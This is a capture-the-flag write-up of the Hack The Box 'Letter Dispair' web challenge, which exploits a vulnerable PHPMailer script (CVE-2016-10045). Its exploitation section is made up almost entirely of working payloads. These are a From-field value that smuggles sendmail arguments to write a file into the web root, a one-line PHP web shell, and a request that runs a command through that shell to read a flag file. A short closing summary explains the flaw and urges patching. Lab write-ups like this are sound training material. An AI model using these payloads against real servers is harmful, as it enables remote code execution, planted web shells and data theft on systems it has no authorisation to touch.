HackTheBox Letter Dispair Challenge
Explore the basics of cybersecurity in the Letter Dispair Challenge on Hack The Box. This easy-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.
https://app.hackthebox.com/challenges/373
Description
A high-profile political individual was a victim of a spear-phishing attack. The email came from a legitimate government entity in a nation we don’t have jurisdiction. However, we have traced the originating mail to a government webserver. Further enumeration revealed an open directory index containing a PHP mailer script we think was used to send the email. We need access to the server to read the logs and find out the actual perpetrator. Can you help?
Exploitation
1
/mailer.php
https://www.exploit-db.com/exploits/40969
From Email
1
"attacker\" -oQ/tmp/ -X/var/www/html/rce.php some "@email.com
Email List
1
<?php system($_GET['0']); ?>
1
/rce.php?0=cat /flag.txt
Summary
The Letter Dispair challenge on Hack The Box is an easy web challenge that involves exploiting a vulnerable PHPMailer script on a government web server. Participants discover an open directory exposing mailer.php, which is susceptible to CVE-2016-10045, allowing remote code execution (RCE) via crafted email inputs. By injecting a malicious payload, attackers can execute arbitrary commands and retrieve sensitive files, including logs and flags. The challenge highlights the dangers of insecure email handling, emphasizing the importance of patching known vulnerabilities and securing mailer implementations to prevent exploitation.